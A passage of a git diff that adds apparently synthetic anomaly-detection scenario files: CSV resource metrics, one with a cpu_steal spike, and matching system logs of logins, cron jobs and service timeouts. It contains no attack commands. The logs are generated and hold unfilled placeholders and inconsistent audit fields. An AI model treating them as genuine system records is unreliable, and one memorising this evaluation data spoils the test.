kubelet[2345]: INFO Liveness probe succeeded for pod web-app-deployment-xyz +Aug 15 10:03:13 kernel: [TIMESTAMP] audit: type=1400 audit(SESSION): apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/proc/fs/nfsd/mounts" pid=11942 comm="sshd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Aug 15 10:03:16 myapp[10649]: Processed batch job #1926 successfully. +Aug 15 10:03:26 kernel: [TIMESTAMP] audit: type=1400 audit(SESSION): apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/proc/fs/nfsd/mounts" pid=12495 comm="sshd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Aug 15 10:03:33 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-deployment-xyz +Aug 15 10:03:46 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 15 10:03:52 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 15 10:03:57 myapp[14412]: WARN: Downstream service 'auth-service' is not responding, retrying... +Aug 15 10:04:02 myapp[11042]: WARN: Downstream service 'auth-service' is not responding, retrying... +Aug 15 10:04:07 myapp[19751]: ERROR: Database query timed out after 15000ms +Aug 15 10:04:13 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:04:16 kernel: [TIMESTAMP] audit: type=1400 audit(SESSION): apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/proc/fs/nfsd/mounts" pid=16885 comm="sshd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Aug 15 10:04:26 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:04:32 myapp[12264]: Processed batch job #1744 successfully. +Aug 15 10:04:37 kernel: [TIMESTAMP] audit: type=1400 audit(SESSION): apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/proc/fs/nfsd/mounts" pid=12042 comm="sshd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Aug 15 10:04:42 cron[15147]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:04:47 kernel: [TIMESTAMP] audit: type=1400 audit(SESSION): apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/proc/fs/nfsd/mounts" pid=17582 comm="sshd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Aug 15 10:04:52 systemd[1]: Started Session {40} of user appuser. +Aug 15 10:04:58 sshd[12858]: Accepted publickey for appuser from 10.0.2.2 port 54322 ssh2 +Aug 15 10:05:01 myapp[14588]: User authentication successful for 'testuser' +Aug 15 10:05:08 cron[14247]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:05:13 cron[11442]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:05:17 sshd[12789]: Accepted publickey for appuser from 10.0.2.2 port 54322 ssh2 +Aug 15 10:05:26 sshd[18465]: Accepted publickey for appuser from 10.0.2.2 port 54322 ssh2 +Aug 15 10:05:43 cron[13359]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:05:48 cron[11741]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:05:53 myapp[15444]: ERROR: Failed to connect to Redis cache: Connection timed out +Aug 15 10:05:56 myapp[19049]: ERROR: Database query timed out after 15000ms +Aug 15 10:06:02 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 15 10:06:08 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Time-out +Aug 15 10:06:12 myapp[11372]: ERROR: Database query timed out after 15000ms +Aug 15 10:06:17 myapp[19777]: User authentication successful for 'testuser' +Aug 15 10:06:22 myapp[15248]: User authentication successful for 'testuser' +Aug 15 10:06:27 sshd[19955]: Accepted publickey for appuser from 10.0.2.2 port 54322 ssh2 +Aug 15 10:06:41 cron[11467]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:06:46 systemd[1]: Started Session {22} of user appuser. +Aug 15 10:06:52 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-deployment-xyz +Aug 15 10:06:57 sshd[18138]: Accepted publickey for appuser from 10.0.2.2 port 54322 ssh2 +Aug 15 10:07:03 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:07:06 myapp[13639]: User authentication successful for 'testuser' +Aug 15 10:07:13 kernel: [TIMESTAMP] audit: type=1400 audit(SESSION): apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/proc/fs/nfsd/mounts" pid=15381 comm="sshd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Aug 15 10:07:22 cron[17731]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/anom_dataset/scenario_5/anom_5_16.csv b/anom_dataset/scenario_5/anom_5_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..66c26b9cee1b6059137ba9cdac40ea760e02fd27 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,cpu_steal,mem_usage,disk_io,net_in,net_out +2025-08-24T08:00:00Z,18.16,0.17,44.45,28.79,1.17,1.49 +2025-08-24T08:00:05Z,16.1,0.02,36.25,24.01,1.2,0.52 +2025-08-24T08:00:10Z,19.93,0.37,36.6,28.71,1.11,1.47 +2025-08-24T08:00:15Z,20.23,0.1,41.43,24.16,0.76,0.87 +2025-08-24T08:00:20Z,23.67,0.43,42.33,20.02,0.94,1.04 +2025-08-24T08:00:25Z,17.72,0.08,35.17,15.3,0.99,0.59 +2025-08-24T08:00:30Z,19.23,0.22,40.07,29.74,1.28,1.11 +2025-08-24T08:00:35Z,15.94,0.32,37.01,21.6,1.26,0.54 +2025-08-24T08:00:40Z,24.49,0.02,44.99,15.15,1.48,1.38 +2025-08-24T08:00:45Z,15.57,0.43,40.69,20.87,0.65,1.09 +2025-08-24T08:00:50Z,17.35,0.08,37.6,22.36,0.52,0.79 +2025-08-24T08:00:55Z,17.03,0.38,40.91,19.63,1.26,0.76 +2025-08-24T08:01:00Z,21.86,0.39,41.24,26.86,1.22,0.62 +2025-08-24T08:01:05Z,18.69,0.07,41.72,19.0,0.76,0.64 +2025-08-24T08:01:10Z,19.2,0.02,35.53,20.64,1.39,1.26 +2025-08-24T08:01:15Z,23.72,0.49,43.26,24.43,0.94,1.4 +2025-08-24T08:01:20Z,21.91,0.0,42.62,18.93,0.64,1.48 +2025-08-24T08:01:25Z,16.08,0.23,35.35,19.81,1.49,1.45 +2025-08-24T08:01:30Z,21.55,0.05,35.27,27.32,1.41,1.4 +2025-08-24T08:01:35Z,18.52,0.38,40.06,21.2,1.03,1.34 +2025-08-24T08:01:40Z,17.65,0.27,42.05,24.05,0.82,1.07 +2025-08-24T08:01:45Z,24.04,0.03,37.4,29.99,1.04,0.82 +2025-08-24T08:01:50Z,22.05,0.07,38.02,18.55,0.8,1.43 +2025-08-24T08:01:55Z,15.58,0.25,39.98,29.65,1.38,0.9 +2025-08-24T08:02:00Z,20.25,0.34,44.39,16.78,0.68,0.76 +2025-08-24T08:02:05Z,17.52,0.13,37.17,24.02,0.56,0.99 +2025-08-24T08:02:10Z,17.31,0.33,44.22,27.24,1.33,1.27 +2025-08-24T08:02:15Z,15.06,0.15,44.33,28.39,0.53,0.64 +2025-08-24T08:02:20Z,17.43,0.37,37.57,17.39,1.39,1.06 +2025-08-24T08:02:25Z,20.46,0.1,37.17,21.94,1.15,0.99 +2025-08-24T08:02:30Z,19.03,16.22,39.41,25.21,0.83,1.48 +2025-08-24T08:02:35Z,10.74,34.36,38.12,30.26,1.06,0.59 +2025-08-24T08:02:40Z,19.19,25.64,43.4,16.67,1.07,1.3 +2025-08-24T08:02:45Z,14.66,27.34,35.28,15.18,1.17,0.8 +2025-08-24T08:02:50Z,11.4,24.11,45.91,16.29,1.44,1.34 +2025-08-24T08:02:55Z,15.94,17.38,35.76,19.81,0.81,0.88 +2025-08-24T08:03:00Z,16.02,16.78,39.03,21.1,0.62,0.93 +2025-08-24T08:03:05Z,10.35,38.88,38.67,21.29,1.26,1.17 +2025-08-24T08:03:10Z,14.92,34.92,41.7,19.98,1.08,1.03 +2025-08-24T08:03:15Z,10.03,29.94,38.81,26.96,1.03,1.27 +2025-08-24T08:03:20Z,19.56,20.58,35.01,10.79,1.12,0.64 +2025-08-24T08:03:25Z,17.95,20.66,38.92,16.88,1.19,1.47 +2025-08-24T08:03:30Z,13.73,31.07,37.01,24.38,0.77,1.1 +2025-08-24T08:03:35Z,16.85,24.82,38.04,19.52,1.44,1.16 +2025-08-24T08:03:40Z,16.43,18.82,44.23,32.92,0.84,0.61 +2025-08-24T08:03:45Z,18.45,34.15,43.53,25.16,0.85,1.47 +2025-08-24T08:03:50Z,15.65,34.51,39.27,12.55,0.92,1.29 +2025-08-24T08:03:55Z,18.1,23.03,38.71,23.45,1.38,0.98 +2025-08-24T08:04:00Z,16.98,15.97,44.74,27.87,1.13,1.13 +2025-08-24T08:04:05Z,19.94,22.56,41.68,29.82,0.82,0.65 +2025-08-24T08:04:10Z,11.62,19.69,43.47,27.76,0.52,0.65 +2025-08-24T08:04:15Z,14.87,33.38,41.3,27.3,0.51,1.1 +2025-08-24T08:04:20Z,19.52,29.62,43.61,27.59,1.39,1.01 +2025-08-24T08:04:25Z,13.34,17.8,42.58,28.36,1.33,0.98 +2025-08-24T08:04:30Z,12.11,30.38,43.46,21.06,0.87,1.46 +2025-08-24T08:04:35Z,19.17,22.04,44.43,20.13,0.53,1.04 +2025-08-24T08:04:40Z,12.34,27.19,38.12,22.01,1.36,0.76 +2025-08-24T08:04:45Z,18.52,19.05,36.13,21.96,1.14,1.05 +2025-08-24T08:04:50Z,18.95,20.28,39.69,23.7,1.15,1.04 +2025-08-24T08:04:55Z,12.91,34.02,37.39,29.11,0.73,0.52 +2025-08-24T08:05:00Z,19.45,0.24,35.72,17.46,0.65,1.45 +2025-08-24T08:05:05Z,15.35,0.08,43.79,23.92,1.01,0.95 +2025-08-24T08:05:10Z,21.95,0.45,38.11,19.88,1.37,0.93 +2025-08-24T08:05:15Z,24.07,0.26,44.95,16.75,1.25,1.38 +2025-08-24T08:05:20Z,22.37,0.01,43.42,22.76,0.88,1.34 +2025-08-24T08:05:25Z,15.42,0.45,44.31,15.84,0.98,0.64 +2025-08-24T08:05:30Z,21.28,0.23,44.39,25.69,1.42,0.64 +2025-08-24T08:05:35Z,17.07,0.43,43.47,20.7,0.93,0.54 +2025-08-24T08:05:40Z,19.3,0.43,36.01,17.4,0.97,0.85 +2025-08-24T08:05:45Z,22.07,0.15,43.62,21.5,1.27,1.25 +2025-08-24T08:05:50Z,23.42,0.25,44.33,20.26,1.17,0.74 +2025-08-24T08:05:55Z,17.99,0.03,36.95,25.87,0.61,0.97 +2025-08-24T08:06:00Z,24.41,0.36,44.08,23.23,0.52,1.31 +2025-08-24T08:06:05Z,17.62,0.06,38.76,18.17,0.93,0.65 +2025-08-24T08:06:10Z,18.88,0.03,40.59,21.5,0.78,0.7 +2025-08-24T08:06:15Z,19.81,0.07,44.92,23.45,0.84,0.79 +2025-08-24T08:06:20Z,17.96,0.41,36.03,27.33,1.36,1.46 +2025-08-24T08:06:25Z,16.75,0.03,38.18,27.64,1.31,1.48 +2025-08-24T08:06:30Z,23.87,0.36,40.93,27.15,0.76,0.87 +2025-08-24T08:06:35Z,16.54,0.21,44.48,27.74,0.95,1.41 +2025-08-24T08:06:40Z,23.6,0.3,38.36,28.91,1.12,1.22 +2025-08-24T08:06:45Z,20.94,0.43,42.25,28.27,1.47,0.83 +2025-08-24T08:06:50Z,23.45,0.06,39.42,26.22,1.46,1.19 +2025-08-24T08:06:55Z,21.66,0.2,44.19,20.17,1.34,1.44 +2025-08-24T08:07:00Z,23.95,0.13,37.81,17.74,1.07,1.44 +2025-08-24T08:07:05Z,17.2,0.14,44.01,17.64,0.73,0.86 +2025-08-24T08:07:10Z,16.13,0.45,41.86,28.82,1.13,1.01 +2025-08-24T08:07:15Z,19.29,0.2,42.28,29.75,1.25,0.81 +2025-08-24T08:07:20Z,16.8,0.23,39.55,28.06,0.58,0.69 +2025-08-24T08:07:25Z,19.72,0.04,37.59,25.93,1.33,1.15 diff --git a/anom_dataset/scenario_5/anom_5_16.log b/anom_dataset/scenario_5/anom_5_16.log new file mode 100644 index 0000000000000000000000000000000000000000..1a536cd35fd5e668ae244e76eb5c64552d7a144d --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_16.log @@ -0,0 +1,39 @@ +Aug 24 08:00:00 web-server sshd[10234]: Accepted publickey for user admin from 10.0.1.5 port 55234 ssh2 +Aug 24 08:00:00 web-server app-api[1123]: INFO: GET /api/v1/health status=200 duration=28ms +Aug 24 08:00:15 web-server CRON[21352]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 08:00:35 web-server app-api[1123]: INFO: GET /api/v1/health status=200 duration=27ms +Aug 24 08:01:00 web-server sshd[10234]: Accepted publickey for user admin from 10.0.1.5 port 55234 ssh2 +Aug 24 08:01:10 web-server app-api[1123]: INFO: GET /api/v1/health status=200 duration=25ms +Aug 24 08:01:15 web-server CRON[21352]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 08:01:45 web-server app-api[1123]: INFO: GET /api/v1/health status=200 duration=32ms +Aug 24 08:02:00 web-server sshd[10234]: Accepted publickey for user admin from 10.0.1.5 port 55234 ssh2 +Aug 24 08:02:15 web-server CRON[21352]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 08:02:20 web-server app-api[1123]: INFO: GET /api/v1/health status=200 duration=25ms +Aug 24 08:02:35 web-server app-api[1123]: ERROR: Request to auth-service failed: upstream request timed out after 5000ms +Aug 24 08:02:50 web-server app-api[1123]: ERROR: Request to auth-service failed: upstream request timed out after 5000ms +Aug 24 08:02:55 web-server app-api[1123]: INFO: GET /api/v1/health status=200 duration=72ms +Aug 24 08:03:00 web-server sshd[10234]: Accepted publickey for user admin from 10.0.1.5 port 55234 ssh2 +Aug 24 08:03:05 web-server app-worker[4512]: WARN: Task process_payment_83674 took 7481ms, exceeding threshold of 5000ms +Aug 24 08:03:10 web-server app-worker[4512]: WARN: Task process_payment_56647 took 7487ms, exceeding threshold of 5000ms +Aug 24 08:03:15 web-server CRON[21352]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 08:03:20 web-server app-api[1123]: ERROR: Request to auth-service failed: upstream request timed out after 5000ms +Aug 24 08:03:30 web-server app-api[1123]: INFO: GET /api/v1/health status=200 duration=26ms +Aug 24 08:03:35 web-server app-worker[4512]: WARN: Task process_payment_92019 took 7453ms, exceeding threshold of 5000ms +Aug 24 08:03:50 web-server app-api[1123]: ERROR: Request to auth-service failed: upstream request timed out after 5000ms +Aug 24 08:04:00 web-server sshd[10234]: Accepted publickey for user admin from 10.0.1.5 port 55234 ssh2 +Aug 24 08:04:05 web-server app-api[1123]: INFO: GET /api/v1/health status=200 duration=53ms +Aug 24 08:04:05 web-server app-api[1123]: ERROR: Request to auth-service failed: upstream request timed out after 5000ms +Aug 24 08:04:10 web-server app-api[1123]: ERROR: Request to auth-service failed: upstream request timed out after 5000ms +Aug 24 08:04:15 web-server CRON[21352]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 08:04:15 web-server app-worker[4512]: WARN: Task process_payment_98368 took 7900ms, exceeding threshold of 5000ms +Aug 24 08:04:40 web-server app-api[1123]: INFO: GET /api/v1/health status=200 duration=36ms +Aug 24 08:05:00 web-server sshd[10234]: Accepted publickey for user admin from 10.0.1.5 port 55234 ssh2 +Aug 24 08:05:15 web-server CRON[21352]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 08:05:15 web-server app-api[1123]: INFO: GET /api/v1/health status=200 duration=42ms +Aug 24 08:05:50 web-server app-api[1123]: INFO: GET /api/v1/health status=200 duration=34ms +Aug 24 08:06:00 web-server sshd[10234]: Accepted publickey for user admin from 10.0.1.5 port 55234 ssh2 +Aug 24 08:06:15 web-server CRON[21352]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 08:06:25 web-server app-api[1123]: INFO: GET /api/v1/health status=200 duration=79ms +Aug 24 08:07:00 web-server sshd[10234]: Accepted publickey for user admin from 10.0.1.5 port 55234 ssh2 +Aug 24 08:07:00 web-server app-api[1123]: INFO: GET /api/v1/health status=200 duration=67ms +Aug 24 08:07:15 web-server CRON[21352]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/anom_dataset/scenario_5/anom_5_17.csv b/anom_dataset/scenario_5/anom_5_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..ae3bc0917706cce79f902d50e258614d75d0944b --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-24T14:00:00Z,22.01,46.43,21.96,1.14,1.19 +2025-08-24T14:00:05Z,21.19,41.73,34.54,1.49,1.98 +2025-08-24T14:00:10Z,24.36,47.54,33.43,1.01,1.15 +2025-08-24T14:00:15Z,16.72,47.93,27.05,0.67,0.96 +2025-08-24T14:00:20Z,21.72,42.96,30.36,0.52,0.94 +2025-08-24T14:00:25Z,16.97,45.1,38.5,0.69,1.69 +2025-08-24T14:00:30Z,28.91,49.9,20.58,1.1,1.45 +2025-08-24T14:00:35Z,29.93,42.49,27.12,1.33,0.87 +2025-08-24T14:00:40Z,24.77,41.7,36.81,0.98,1.61 +2025-08-24T14:00:45Z,21.27,44.42,36.01,1.24,1.93 +2025-08-24T14:00:50Z,20.14,42.49,35.16,1.29,1.3 +2025-08-24T14:00:55Z,26.33,41.71,38.29,1.15,1.01 +2025-08-24T14:01:00Z,25.33,40.81,36.35,1.35,1.72 +2025-08-24T14:01:05Z,28.72,46.67,36.87,1.22,1.97 +2025-08-24T14:01:10Z,26.24,48.54,28.25,1.49,1.87 +2025-08-24T14:01:15Z,23.54,38.89,34.82,1.06,1.82 +2025-08-24T14:01:20Z,28.35,45.66,38.74,0.96,1.21 +2025-08-24T14:01:25Z,22.14,40.3,25.93,1.31,1.25 +2025-08-24T14:01:30Z,20.54,39.07,21.09,0.95,1.27 +2025-08-24T14:01:35Z,27.03,47.22,34.58,1.26,0.84 +2025-08-24T14:01:40Z,15.43,47.12,34.82,1.37,1.18 +2025-08-24T14:01:45Z,29.55,42.65,21.63,0.57,1.56 +2025-08-24T14:01:50Z,17.05,43.21,38.49,0.7,1.1 +2025-08-24T14:01:55Z,29.35,48.75,37.19,1.47,1.05 +2025-08-24T14:02:00Z,26.23,49.82,37.36,1.33,1.31 +2025-08-24T14:02:05Z,18.9,50.32,36.63,1.05,1.44 +2025-08-24T14:02:10Z,20.13,50.83,39.19,1.3,1.48 +2025-08-24T14:02:15Z,19.62,44.54,34.42,1.37,1.73 +2025-08-24T14:02:20Z,15.23,51.72,32.59,1.12,1.53 +2025-08-24T14:02:25Z,16.02,45.0,23.81,1.12,1.61 +2025-08-24T14:02:30Z,18.26,44.08,20.4,0.98,1.22 +2025-08-24T14:02:35Z,18.87,48.48,36.29,0.87,0.8 +2025-08-24T14:02:40Z,20.91,45.34,37.79,1.09,1.71 +2025-08-24T14:02:45Z,28.75,48.77,20.13,0.76,1.36 +2025-08-24T14:02:50Z,21.29,44.43,30.69,1.02,1.51 +2025-08-24T14:02:55Z,20.05,44.49,33.62,1.31,1.47 +2025-08-24T14:03:00Z,16.95,40.86,26.01,1.14,1.79 +2025-08-24T14:03:05Z,19.31,43.08,23.59,0.63,0.98 +2025-08-24T14:03:10Z,26.35,39.92,26.87,1.42,1.02 +2025-08-24T14:03:15Z,26.23,39.85,33.69,0.52,0.96 +2025-08-24T14:03:20Z,15.82,44.53,35.76,1.22,1.31 +2025-08-24T14:03:25Z,18.03,41.18,36.75,0.72,0.93 +2025-08-24T14:03:30Z,24.0,45.74,30.52,0.84,1.95 +2025-08-24T14:03:35Z,34.49,47.1,38.86,1.24,1.04 +2025-08-24T14:03:40Z,29.4,44.52,32.22,1.04,1.16 +2025-08-24T14:03:45Z,29.56,42.87,39.7,1.06,1.63 +2025-08-24T14:03:50Z,15.29,47.84,23.75,1.45,1.34 +2025-08-24T14:03:55Z,25.04,50.48,24.1,0.6,0.89 +2025-08-24T14:04:00Z,17.64,43.33,39.21,0.92,1.22 +2025-08-24T14:04:05Z,10.0,48.7,27.46,0.7,0.83 +2025-08-24T14:04:10Z,16.66,44.47,28.5,1.13,1.58 +2025-08-24T14:04:15Z,16.43,44.1,36.36,1.49,1.67 +2025-08-24T14:04:20Z,24.44,46.22,31.81,0.78,1.24 +2025-08-24T14:04:25Z,23.09,46.3,26.23,0.88,1.07 +2025-08-24T14:04:30Z,29.39,44.86,31.68,1.08,1.71 +2025-08-24T14:04:35Z,21.68,45.69,37.69,0.72,1.1 +2025-08-24T14:04:40Z,18.15,42.09,29.67,0.54,1.5 +2025-08-24T14:04:45Z,13.92,47.82,34.53,0.57,1.36 +2025-08-24T14:04:50Z,27.61,39.59,21.57,1.18,1.22 +2025-08-24T14:04:55Z,26.71,48.34,21.05,1.31,1.18 +2025-08-24T14:05:00Z,32.28,44.63,28.13,0.77,1.53 +2025-08-24T14:05:05Z,32.95,43.54,39.48,0.64,1.87 +2025-08-24T14:05:10Z,27.14,42.97,22.84,0.87,1.32 +2025-08-24T14:05:15Z,30.31,46.87,25.27,1.11,1.34 +2025-08-24T14:05:20Z,26.56,44.93,32.55,1.3,1.49 +2025-08-24T14:05:25Z,14.84,40.72,29.03,1.15,0.94 +2025-08-24T14:05:30Z,22.95,46.87,25.71,1.46,1.64 +2025-08-24T14:05:35Z,19.67,43.92,34.34,1.37,1.03 +2025-08-24T14:05:40Z,10.0,43.54,27.12,1.37,0.93 +2025-08-24T14:05:45Z,35.61,43.69,37.69,1.44,1.54 +2025-08-24T14:05:50Z,25.42,49.53,36.95,1.43,0.85 +2025-08-24T14:05:55Z,22.59,49.33,20.31,1.15,1.05 +2025-08-24T14:06:00Z,23.88,43.26,24.92,1.35,1.1 +2025-08-24T14:06:05Z,17.26,49.8,20.74,0.56,0.92 +2025-08-24T14:06:10Z,16.37,49.53,25.67,1.43,0.98 +2025-08-24T14:06:15Z,25.76,50.31,20.77,0.51,1.22 +2025-08-24T14:06:20Z,18.74,44.92,21.6,1.31,1.45 +2025-08-24T14:06:25Z,22.89,46.04,27.97,1.47,1.42 +2025-08-24T14:06:30Z,19.41,49.27,39.24,1.01,1.53 +2025-08-24T14:06:35Z,22.66,40.84,21.44,0.94,1.36 +2025-08-24T14:06:40Z,15.54,47.18,21.97,0.98,1.25 +2025-08-24T14:06:45Z,27.35,47.65,26.64,0.61,1.12 +2025-08-24T14:06:50Z,23.94,42.72,26.39,0.77,1.77 +2025-08-24T14:06:55Z,16.74,45.85,30.0,1.4,1.75 +2025-08-24T14:07:00Z,23.09,46.31,38.07,1.21,1.88 +2025-08-24T14:07:05Z,17.37,41.72,34.51,1.32,1.54 +2025-08-24T14:07:10Z,27.89,40.65,23.62,0.84,0.96 +2025-08-24T14:07:15Z,25.34,40.03,22.58,1.2,1.56 +2025-08-24T14:07:20Z,23.03,40.66,21.93,1.1,1.58 +2025-08-24T14:07:25Z,22.58,40.31,39.15,0.57,1.34 diff --git a/anom_dataset/scenario_5/anom_5_17.log b/anom_dataset/scenario_5/anom_5_17.log new file mode 100644 index 0000000000000000000000000000000000000000..4ad6a66b7a8a30d317a35c8f2428b65489176007 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_17.log @@ -0,0 +1,96 @@ +Aug 24 14:00:00 web-app[1533]: INFO: Background job 'cache-cleanup' started. +Aug 24 14:00:09 systemd[1]: Started Session 29 of user ubuntu. +Aug 24 14:00:21 web-app[1254]: INFO: User 7901 authenticated successfully. +Aug 24 14:00:25 web-app[1824]: INFO: Background job 'cache-cleanup' finished in 112ms. +Aug 24 14:00:33 web-app[1725]: INFO: Successfully processed payment for order 8276. +Aug 24 14:00:37 web-app[1781]: INFO: User 1258 authenticated successfully. +Aug 24 14:00:40 web-app[1393]: INFO: GET /api/v1/status HTTP/1.1 200 +Aug 24 14:00:48 web-app[1081]: INFO: Successfully processed payment for order 4823. +Aug 24 14:00:54 systemd[1]: Started Session 11 of user ubuntu. +Aug 24 14:00:56 web-app[1703]: INFO: User 9691 authenticated successfully. +Aug 24 14:00:59 web-app[1120]: INFO: User 5524 authenticated successfully. +Aug 24 14:01:07 web-app[1231]: INFO: User 5196 authenticated successfully. +Aug 24 14:01:12 web-app[1357]: INFO: User 4732 authenticated successfully. +Aug 24 14:01:25 web-app[1649]: INFO: Background job 'cache-cleanup' started. +Aug 24 14:01:36 systemd[1]: Started Session 12 of user ubuntu. +Aug 24 14:01:36 CRON[26470]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 24 14:01:41 web-app[1230]: INFO: User 5946 authenticated successfully. +Aug 24 14:01:41 CRON[25932]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 24 14:01:44 web-app[1513]: INFO: User 2725 authenticated successfully. +Aug 24 14:01:48 systemd[1]: Started Session 49 of user ubuntu. +Aug 24 14:01:56 web-app[1763]: INFO: Background job 'cache-cleanup' started. +Aug 24 14:02:00 web-app[1155]: INFO: User 7964 authenticated successfully. +Aug 24 14:02:11 web-app[1229]: INFO: GET /api/v1/status HTTP/1.1 200 +Aug 24 14:02:13 web-app[1895]: INFO: GET /api/v1/status HTTP/1.1 200 +Aug 24 14:02:27 web-app[1942]: INFO: GET /api/v1/status HTTP/1.1 200 +Aug 24 14:02:31 web-app[1925]: INFO: User 3107 authenticated successfully. +Aug 24 14:02:35 web-app[1258]: DEBUG: Database query returned 63 rows. +Aug 24 14:02:44 web-app[1548]: DEBUG: Database query returned 60 rows. +Aug 24 14:02:45 systemd[1]: Started Session 19 of user ubuntu. +Aug 24 14:03:02 web-app[1819]: INFO: Background job 'cache-cleanup' started. +Aug 24 14:03:07 systemd[1]: Started Session 20 of user ubuntu. +Aug 24 14:03:10 web-app[1905]: INFO: Background job 'cache-cleanup' finished in 102ms. +Aug 24 14:03:20 web-app[1950]: ERROR: Upstream service 'payment-gateway' failed to respond in time. +Aug 24 14:03:26 web-app[1032]: INFO: Successfully processed payment for order 8275. +Aug 24 14:03:33 web-app[1145]: ERROR: Timeout while fetching data from database for request 1977. +Aug 24 14:03:34 web-app[1511]: ERROR: Upstream service 'payment-gateway' failed to respond in time. +Aug 24 14:03:43 web-app[1457]: WARN: API call to service 'inventory-service' took 2294ms, exceeding threshold of 1000ms. +Aug 24 14:03:49 web-app[1801]: ERROR: Timeout while fetching data from database for request 6812. +Aug 24 14:03:52 web-app[1222]: ERROR: Timeout while fetching data from database for request 4975. +Aug 24 14:03:52 systemd[1]: Started Session 42 of user ubuntu. +Aug 24 14:03:55 web-app[1393]: INFO: User 8591 authenticated successfully. +Aug 24 14:03:59 web-app[1943]: ERROR: Upstream service 'payment-gateway' failed to respond in time. +Aug 24 14:04:03 web-app[1006]: INFO: GET /api/v1/status HTTP/1.1 200 +Aug 24 14:04:11 web-app[1022]: INFO: Background job 'cache-cleanup' started. +Aug 24 14:04:15 web-app[1140]: WARN: High latency detected for endpoint /api/v1/checkout. Response time: 2.6s. +Aug 24 14:04:17 web-app[1034]: ERROR: Timeout while fetching data from database for request 5677. +Aug 24 14:04:22 web-app[1103]: INFO: Background job 'cache-cleanup' started. +Aug 24 14:04:24 web-app[1720]: ERROR: Upstream service 'payment-gateway' failed to respond in time. +Aug 24 14:04:27 web-app[1203]: INFO: GET /api/v1/status HTTP/1.1 200 +Aug 24 14:04:31 web-app[1286]: WARN: High latency detected for endpoint /api/v1/checkout. Response time: 5.0s. +Aug 24 14:04:35 web-app[1186]: ERROR: Timeout while fetching data from database for request 2735. +Aug 24 14:04:38 web-app[1122]: INFO: Successfully processed payment for order 3586. +Aug 24 14:04:41 web-app[1933]: WARN: High latency detected for endpoint /api/v1/checkout. Response time: 3.9s. +Aug 24 14:04:42 web-app[1648]: ERROR: Timeout while fetching data from database for request 2104. +Aug 24 14:04:45 web-app[1768]: ERROR: Timeout while fetching data from database for request 8799. +Aug 24 14:04:48 web-app[1672]: WARN: High latency detected for endpoint /api/v1/checkout. Response time: 4.3s. +Aug 24 14:04:51 web-app[1753]: WARN: API call to service 'inventory-service' took 4649ms, exceeding threshold of 1000ms. +Aug 24 14:04:55 web-app[1825]: ERROR: Timeout while fetching data from database for request 7359. +Aug 24 14:05:02 web-app[1666]: WARN: API call to service 'inventory-service' took 1836ms, exceeding threshold of 1000ms. +Aug 24 14:05:09 web-app[1651]: ERROR: Timeout while fetching data from database for request 1580. +Aug 24 14:05:10 web-app[1057]: WARN: High latency detected for endpoint /api/v1/checkout. Response time: 3.0s. +Aug 24 14:05:12 web-app[1945]: WARN: High latency detected for endpoint /api/v1/checkout. Response time: 4.5s. +Aug 24 14:05:17 web-app[1617]: ERROR: Timeout while fetching data from database for request 7841. +Aug 24 14:05:21 web-app[1934]: ERROR: Upstream service 'payment-gateway' failed to respond in time. +Aug 24 14:05:23 web-app[1825]: ERROR: Upstream service 'payment-gateway' failed to respond in time. +Aug 24 14:05:26 web-app[1056]: WARN: API call to service 'inventory-service' took 2771ms, exceeding threshold of 1000ms. +Aug 24 14:05:27 web-app[1129]: WARN: High latency detected for endpoint /api/v1/checkout. Response time: 3.1s. +Aug 24 14:05:30 web-app[1297]: ERROR: Upstream service 'payment-gateway' failed to respond in time. +Aug 24 14:05:36 web-app[1653]: WARN: API call to service 'inventory-service' took 3122ms, exceeding threshold of 1000ms. +Aug 24 14:05:37 web-app[1446]: ERROR: Timeout while fetching data from database for request 8564. +Aug 24 14:05:39 web-app[1380]: WARN: API call to service 'inventory-service' took 2750ms, 